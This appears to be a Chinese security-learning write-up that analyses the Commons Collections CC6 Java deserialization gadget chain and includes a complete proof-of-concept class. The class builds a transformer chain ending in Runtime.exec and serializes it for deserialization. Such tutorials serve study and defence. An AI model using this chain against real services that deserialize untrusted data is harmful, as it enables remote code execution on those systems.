<1>环境分析

实际上 CC6链子 又是CC1的一个变种 没有版本限制
找到这个漏洞的人又开辟出 一个新的线路 通过 TiedMapEntry.hashcode() 去触发 CC1里的 LazyMap.get()

这里我们是继续沿用的CC1 的项目
jdk版本：jdk8u65
pom.xml内容：

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

<2> 链子分析

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

首先 LazyMap().get()->InvokerTransformer.transform() 这段代码是不变的

我们通过 TiedMapEntry的hashcode方法

TiedMapEntry.hashcode()里 会执行 getValue()
再来看一下getValue()方法

这里会 return一个 map.get()

如果我们把map构造成上面的 LazyMap 那不就实现了 LazyMap.get()???

HashMap.put() 去触发 TiedMapEntry() 但是这里和我们在上面学习URLDNS链差不多，也有一个需要注意的点

比如我们在URLDNS链子的时候，在Hashmap.put()的时候，hashMap类就调用了hash方法,并且在URLStreamHandler抽象类的hashCode()函数中判断URLStreamHandler的hashcode属性值。不为初始化的值(-1)时会直接返回,由于在序列化的时候已经进行了hashCode计算,所以在 反序列化时 hashcode属性值不为-1 就不会向下进行 URL.hashcode() 因此实际上我们收到的DNS请求是在put的时候执行的，而不是反序列化执行的 背离了我们本意

然而CC6的话，是通过HashMap.put() -> TiedMapEntry.hashCode() -> LazyMap.get() 我们看一下LazyMap 的 get 方法

它会判断key是否存在，不存在的话，才会去执行 factory.transform() 因此我们需要在生成序列化对象的时候，将LazyMap对象的key置空。

因为在put的时候，链子会执行一次，为了不影响 我们先不给factory赋值构造的transformers，随便赋值一个没用的factory--new ConstantTransformer(1)。 又是因为factory类型是protected final Transformer factory 后面在序列化前我们需要利用反射 改回来

poc如下：

public class CC6Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));


        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");

        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");  
        //本地执行put时，会调用 tiedmapTntry.hashcode lazyMap.get("aaa") 会让lazyMap key不为flase
        lazyMap.remove("aaa");  //remove掉put时 lazyMap里的key 使反序列化时能进入transform

        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);
        //反射修改lazyMap里的factory
        //serialize(map2);
        unserialize("sercc6.bin");
    }
    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc6.bin"));
        oos.writeObject(o);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();

    }
}